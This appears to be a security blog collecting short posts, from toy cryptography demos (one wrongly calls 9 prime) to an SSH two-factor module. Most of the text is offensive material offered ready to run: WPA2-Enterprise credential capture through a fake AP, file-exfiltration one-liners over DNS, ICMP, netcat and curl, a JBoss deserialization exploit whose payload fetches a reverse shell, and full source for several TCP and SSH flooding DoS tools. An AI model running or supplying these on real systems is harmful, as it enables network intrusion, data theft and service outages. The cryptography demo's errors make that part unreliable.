hacktracking

# Diffie-Hellman key exchange

# cat diffie-hellman.py
import math

# Zp*
# |Z9*| = totien(9) = 9(1 - 1/3) = 6
# a        1  2  4  5  7  8
# ord(a)   1  6  3  6  3  2
# generators: 2 and 5

g = 2 # generator
p = 9 # prime


print '1. [Alice] and [ Bob ] agree to use g = %d and p = %d' % (g, p)
print

a = 15 # alice secret
A = (g**a) % p
print '2. [Alice] Generates a = %d and sends A = %d' % (a, A)
print

b = 7 # bob secret
B = (g**b) % p
print '3. [ Bob ] Generates b = %d and sends B = %d' % (b, B)
print

a_shared_secret = (B**a) % p
print '4. [Alice] Computes the shared_secret = %d' % a_shared_secret
print

b_shared_secret = (A**b) % p
print '5. [ Bob ] Computes the shared_secret = %d' % b_shared_secret
print

print '6. [Alice] and [ Bob ] now share the same secret'
print

print '-' * 50 + '\n'

def brute_force(shared):
        for i in xrange(0, 100):
                if (g**i) % p == shared:
                        print str(i),
        print

ea = (math.log(A, g)) % p
print '7. [ Eve ] Tries to find a, knowing (A, g and p)'
print 'Logarithm >> a = %d' % ea
print 'Brute force >>',
brute_force(A)
print
eb = (math.log(B, g)) % p
print '8. [ Eve ] Tries to find b, knowing (B, g and p)'
print 'Logarithm >> b = %d' % eb
print 'Brute force >>',
brute_force(B)

# python diffie-hellman.py
1. [Alice] and [ Bob ] agree to use g = 2 and p = 9

2. [Alice] Generates a = 15 and sends A = 8

3. [ Bob ] Generates b = 7 and sends B = 2

4. [Alice] Computes the shared_secret = 8

5. [ Bob ] Computes the shared_secret = 8

6. [Alice] and [ Bob ] now share the same secret

--------------------------------------------------

7. [ Eve ] Tries to find a, knowing (A, g and p)
Logarithm >> a = 3
Brute force >> 3 9 15 21 27 33 39 45 51 57 63 69 75 81 87 93 99

8. [ Eve ] Tries to find b, knowing (B, g and p)
Logarithm >> b = 1
Brute force >> 1 7 13 19 25 31 37 43 49 55 61 67 73 79 85 91 97

Reference

https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange

# Fermat primality test

Fermat's little theorem

a**p =~ a (mod p)
a**p mod p = a mod p

Algorithm

# cat FermatPrimalityTest.go
package main

import "fmt"
import "math/big"
import "os"
import "strconv"

func add(x, y int) int {
        return x + y
}

func main() {
        prime, err1 := strconv.Atoi(os.Args[1])
        limit, err2 := strconv.Atoi(os.Args[2])
        if err1 == nil && err2 == nil {
                for i := 1; i < limit; i++ {
                        exp := new(big.Int).Exp(big.NewInt(int64(i)), big.NewInt(int64(prime)), nil)
                        left := new(big.Int).Mod(exp, big.NewInt(int64(prime)))
                        right := new(big.Int).Mod(big.NewInt(int64(i)), big.NewInt(int64(prime)))
                        if left.Cmp(right) != 0 {
                                fmt.Printf("%d != %d\n", left, right)
                                fmt.Printf("Not prime!\n");
                                return
                        }
                }
        }
        fmt.Printf("Prime!\n");
}

# go build FermatPrimalityTest.go

# ./FermatPrimalityTest 7 1000
Prime!
# carmichael_number_1=561
# carmichael_number_2=41041
# ./FermatPrimalityTest $carmichael_number_1 1000
Prime! <-- False
# ./FermatPrimalityTest $carmichael_number_2 1000
Prime! <-- False

References

https://en.wikipedia.org/wiki/Carmichael_number

# Cracking WPA2 enterprise wireless networks with Freeradius WPE and a fake AP

# wget ftp://ftp.freeradius.org/pub/radius/old/freeradius-server-2.1.12.tar.bz2
# wget --no-check-certificate https://raw.github.com/brad-anton/freeradius-wpe/master/freeradius-wpe.patch
# tar xvjf freeradius-server-2.1.12.tar.bz2
# cd freeradius-server-2.1.12
# patch -p1 < ../freeradius-wpe.patch
# ./configure
# make
# make install
# ldconfig
# cd /usr/local/etc/raddb/certs/
# ./bootstrap
# /usr/local/sbin/radiusd -v
radiusd: FreeRADIUS-WPE Version 2.1.12
# grep with_ntdomain_hack /usr/local/etc/raddb/modules/mschap
with_ntdomain_hack = yes
# radiusd -X

# cat /usr/local/var/log/radius/freeradius-server-wpe.log
mschap: Sun Jan 31 22:00:00 2016

 username: aaaaaaa
 challenge: 6e:61:f4:26:7a:c5:96:12
 response: 0c:b6:46:9e:0f:70:fb:e7:ba:6b:0d:72:7a:71:63:fa:c2:e3:5b:c5:eb:04:6c:b5
 john NETNTLM: aaaaaaa:$NETNTLM$6e61f4267ac59612$0cb6469e0f70fbe7ba6b0d727a7163fac2e35bc5eb046cb5

# asleap -C 6e:61:f4:26:7a:c5:96:12 -R 0c:b6:46:9e:0f:70:fb:e7:ba:6b:0d:72:7a:71:63:fa:c2:e3:5b:c5:eb:04:6c:b5 -W dictionary.txt

 hash bytes: 5b0a
 NT hash: 2aff86e7f6e8bd54841a7981c0a55b0a
 password: bbbbbbbb

Reference

https://github.com/brad-anton/freeradius-wpe

# Installing zmap and zgrab from sources

# cd
# mkdir work
# cd work
# git clone https://github.com/zmap/zmap.git
# apt-get install build-essential cmake libgmp3-dev gengetopt libpcap-dev flex byacc libjson-c-dev pkg-config libunistring-dev
# cd zmap
# cmake .
# make -j4
# make install
# cd
# wget https://storage.googleapis.com/golang/go1.5.3.linux-amd64.tar.gz
# tar -C /usr/local -xzf go1.5.3.linux-amd64.tar.gz
# export PATH=$PATH:/usr/local/go/bin
# go version
# export GOPATH=/root/work
# go get github.com/zmap/zgrab
# cd work/src/github.com/zmap/zgrab/
# go build

# SSH two-factor authentication (pam + telegram)

# apt-get install libpam-python

# grep -m 1 ChallengeResponseAuthentication /etc/ssh/sshd_config
ChallengeResponseAuthentication yes

# cat /etc/pam.d/sshd | grep -B 1 -A 1 authentication
auth requisite /lib/security/pam_python.so /lib/security/telegramPIN.py
# Standard Un*x authentication.
@include common-auth

# cat /lib/security/telegramPIN.py
import base64
import random
import subprocess

def pam_sm_authenticate(pamh, flags, argv):
  local_network = '192.168.1.'
  if local_network in pamh.rhost:
      return pamh.PAM_SUCCESS
  else:
    try:
      user = pamh.get_user(None)
    except pamh.exception, e:
      return e.pam_result
    r = random.SystemRandom()
    pin = ''.join([str(r.randint(0, 9)) for i in xrange(0,8)])
    b64 = base64.b64encode('SSH-PIN = ' + pin)
    subprocess.Popen(['/send_telegram_msg.py', b64])
    msg = pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'PIN: ')
    rsp = pamh.conversation(msg)
    if rsp.resp == pin:
      return pamh.PAM_SUCCESS
    return pamh.PAM_AUTH_ERR

def pam_sm_setcred(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
  return pamh.PAM_SUCCESS

# service ssh restart

References

http://pam-python.sourceforge.net/doc/html/
http://www.linux-pam.org/Linux-PAM-html/Linux-PAM_MWG.html

# Covert channels for data exfiltration

DNS

local# xxd -p -c 16 $file | while read line; do dig @$remote $line. +time=1 +retry=0 & done
remote# tcpdump -ni any -Xs 0 "host $remote and udp dst port 53"

ICMP

local# xxd -p -c 32 $file | while read line; do ping -p $line -c 1 $remote; done
remote# tcpdump -ni any -Xs 0 'host $remote icmp'

Raw

local# nc $remote $port < $file
remote# nc -l -p $port

HTTP/S

local# curl --data "@$file" http://$remote:$port
local# curl --data "param=`cat $file`" http://$remote:$port
local# curl --header "header=`cat $file`" http://$remote:$port
remote# nc -l -p $port

# Unserialize rce vulnerability in Java

Server - 192.168.1.1

# wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
# unzip jboss-4.2.3.zip
# mv jboss-4.2.3.GA /usr/local/share/jboss
# adduser appserver
# chown -R appserver /usr/local/share/jboss
# su -l appserver
$ cd /usr/local/share/jboss/bin
$ ./run.sh -b 0.0.0.0

Client - 192.168.1.2

# wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
# java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget -O /tmp/rshell http://192.168.1.2/rshell' > /tmp/payload
# curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://192.168.1.1:8080/invoker/JMXInvokerServlet

References

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

# mod_rewrite: Remove a query string parameter

# a2enmod rewrite
# service apache2 restart
# cat /etc/apache2/sites-available/default
        <Directory /var/www/>
                Options FollowSymLinks MultiViews
                AllowOverride All

# cat /var/www/.htaccess
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*)[Pp][Aa][Rr][Aa][Mm]3=(.*?)(&(.*))?$
RewriteRule (.*) /$1?%1%4 [R=307]

>>> http://localhost/page.php?param1=1&param2=2&param3=3&param4=4&param5=5
<<< http://localhost/page.php?param1=1&param2=2&param4=4&param5=5

>>> http://localhost/page.php?param1=1&param3=3&param2=2&param3=3&param5=5
<<< http://localhost/page.php?param1=1&param2=2&param5=5

>>> http://localhost/page.php?param1=1&param2=2&PaRaM3=3
<<< http://localhost/page.php?param1=1&param2=2

# Ubuntu phone: chroot

# mkdir /home/chroot
# cd /home/chroot
# cat /etc/lsb-release | grep CODENAME
DISTRIB_CODENAME=vivid
# wget http://cdimage.ubuntu.com/ubuntu-touch/vivid/daily-preinstalled/current/vivid-preinstalled-touch-armhf.tar.gz
# tar -zxvf vivid-preinstalled-touch-armhf.tar.gz
# rm vivid-preinstalled-touch-armhf.tar.gz
# cd /
# mount -o bind /dev /home/chroot/dev
# mount -o bind /sys /home/chroot/sys
# mount -o bind /tmp /home/chroot/tmp
# mount -t proc none /home/chroot/proc
# chroot /home/chroot
# export PS1="(chroot) $PS1"
# rm /etc/resolv.conf
# echo 'nameserver 8.8.8.8' > /etc/resolv.conf
# apt update && apt upgrade

# DoS tools to test network resources consumption

Raw-sockets

Fast and does not consume local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# pypy raw-sockets-tcp3wh.py true 100 $sip $dip 22

Raw-scapy

Slow but does not consume local resources

# dip="192.168.1.2"
# python clean_iptables.py $ip
# python raw-scapy-tcp3wh.py true 100 $dip 22

Kernel-3wh

Fast but consumes local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# pypy kernel-tcp3wh.py 50 true $sip $dip 22

Kernel-sshopen

Fast but consumes local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# python kernel-sshopen.py true 50 $sip $dip 22

Source code

# cat lib.py
import subprocess
import sys

def iptables(action, dip = None):
 command = 'iptables -t filter -n -L OUTPUT'
 p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
 result = p.communicate()[0]
 if action == 'add':
  if dip not in result:
   command = 'iptables -A OUTPUT -p tcp -d ' + dip + ' --tcp-flags RST RST -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -A OUTPUT -p tcp -d ' + dip + ' --tcp-flags FIN,ACK FIN,ACK -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -t filter -n -L OUTPUT'
   p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
   result = p.communicate()[0]
 elif action == 'delete':
  if dip in result:
   command = 'iptables -D OUTPUT -p tcp -d ' + dip + ' --tcp-flags RST RST -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -D OUTPUT -p tcp -d ' + dip + ' --tcp-flags FIN,ACK FIN,ACK -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -t filter -n -L OUTPUT'
   p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
   result = p.communicate()[0]
 print result

def ctrlc(signal, frame):
 print '=> Interruption'
 print '[+] Done'
 sys.exit()

# cat clean_iptables.py
#! /usr/bin/env python

import lib
import sys

dip = sys.argv[1]
lib.iptables('delete', dip)

# cat raw-sockets-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Raw Sockets TCP 3 Way Handshake flooding tool

import lib
import random
import signal
import socket
import struct
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

class IP():
 def __init__(self, sip, dip):
  self.ver = 4
  self.ihl = 5
  self.tos = 0
  self.tl = 0
  self.ide = 0
  self.frag_off = 0
  self.ttl = 255
  self.proto = socket.IPPROTO_TCP
  self.check = 0
  self.saddr = socket.inet_aton(sip)
  self.daddr = socket.inet_aton(dip)

 def make_header(self):
  self.header = struct.pack('!BBHHHBBH4s4s', \
   (self.ver << 4) + self.ihl, self.tos, self.tl, \
   self.ide, self.frag_off, \
   self.ttl, self.proto, self.check, \
   self.saddr, \
   self.daddr)

class TCP():
 def __init__(self, sport, dport):
  self.sport = sport
  self.dport = dport
  self.seq = 0
  self.ack_num = 0
  self.doff = 5
  self.urg = 0
  self.ack = 0
  self.psh = 0
  self.rst = 0
  self.syn = 0
  self.fin = 0
  self.window = 29200
  self.check = 0
  self.urg_ptr = 0

 def make_header(self):
  self.header = struct.pack('!HHLLBBH', \
   self.sport, self.dport, \
   self.seq, \
   self.ack_num, \
   (self.doff << 4) + 0, self.flags,  self.window) + \
   struct.pack('H', self.check) + \
   struct.pack('!H', self.urg_ptr)

 def make_flags(self):
  self.flags = (self.urg << 5) + (self.ack << 4) + (self.psh << 3) + (self.rst << 2) + (self.syn << 1) + self.fin
 
def checksum(msg):
 s = 0
 for i in range(0, len(msg), 2):
  w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
  s = s + w
 s = (s >> 16) + (s & 0xffff);
 s = s + (s >> 16);
 s = ~s & 0xffff
 return s
 
def tcp3wh(sip, sport, dip, dport):
 try:
  ip = IP(sip, dip)
  tcp = TCP(sport, dport)
  tcp.syn = 1
  tcp.make_flags()
  tcp.make_header()

  pseudo_header = struct.pack('!4s4sBBH', ip.saddr, ip.daddr, 0, ip.proto, len(tcp.header)) + tcp.header
  tcp.check = checksum(pseudo_header)
  tcp.make_header()

  packet = tcp.header

  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  s.bind(('', 0))
  s.sendto(packet, (dip, 0))
  data = s.recv(1024)
  ack_num = struct.unpack('!L', data[24:28])[0] + 1

  tcp.seq += 1
  tcp.ack_num = ack_num
  tcp.syn = 0
  tcp.ack = 1
  tcp.make_flags()
  tcp.check = 0
  tcp.make_header()
  pseudo_header = struct.pack('!4s4sBBH', ip.saddr, ip.daddr, 0, ip.proto, len(tcp.header)) + tcp.header
  tcp.check = checksum(pseudo_header)
  tcp.make_header()
  packet = tcp.header
  s.sendto(packet, (dip, 0))
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = tcp3wh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'

# cat raw-scapy-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Raw Scapy TCP 3 Way Handshake flooding tool

import lib
import random
import signal
from scapy.all import *
import signal
import sys
import threading

loop = sys.argv[1]
threads = int(sys.argv[2])
dip = sys.argv[3]
dport = int(sys.argv[4])

def tcp3wh(dip, dport):
 ip = IP(dst = dip)
 sport = seq = random.randint(1024, 65535)
 tcp_syn = TCP(dport = dport, sport = sport, flags = 'S', seq = seq)
 packet = ip/tcp_syn
 tcp_synack = sr1(packet, verbose = 0)
 ack = tcp_synack.seq + 1
 tcp_ack = TCP(dport = dport, sport = sport, flags = 'A', seq = seq + 1, ack = ack)
 packet = ip/tcp_ack
 send(packet, verbose = 0)

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  threading.Thread(target = tcp3wh, args = (dip, dport)).start()
 print
 if loop != 'true': loop -= 1
print '[+] Done'

# cat kernel-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Kernel TCP 3 Way Handshake flooding tool

import lib
import random
import signal
import socket
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

def tcp3wh(sip, sport, dip, dport):
 try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind((sip, sport))
  s.connect((dip, dport))
  s.shutdown(socket.SHUT_RDWR)
  s.close()
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = tcp3wh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'

# cat kernel-sshopen.py
#! /usr/bin/env python

# Author: t0n1
# Description: Kernel SSH-Open flooding tool

import lib
import paramiko
import random
import signal
import socket
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

def openssh(sip, sport, ip, dport):
 try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind((sip, sport))
  s.connect((dip, dport))
  t = paramiko.transport.Transport(s)
  time.sleep(1)
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = openssh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'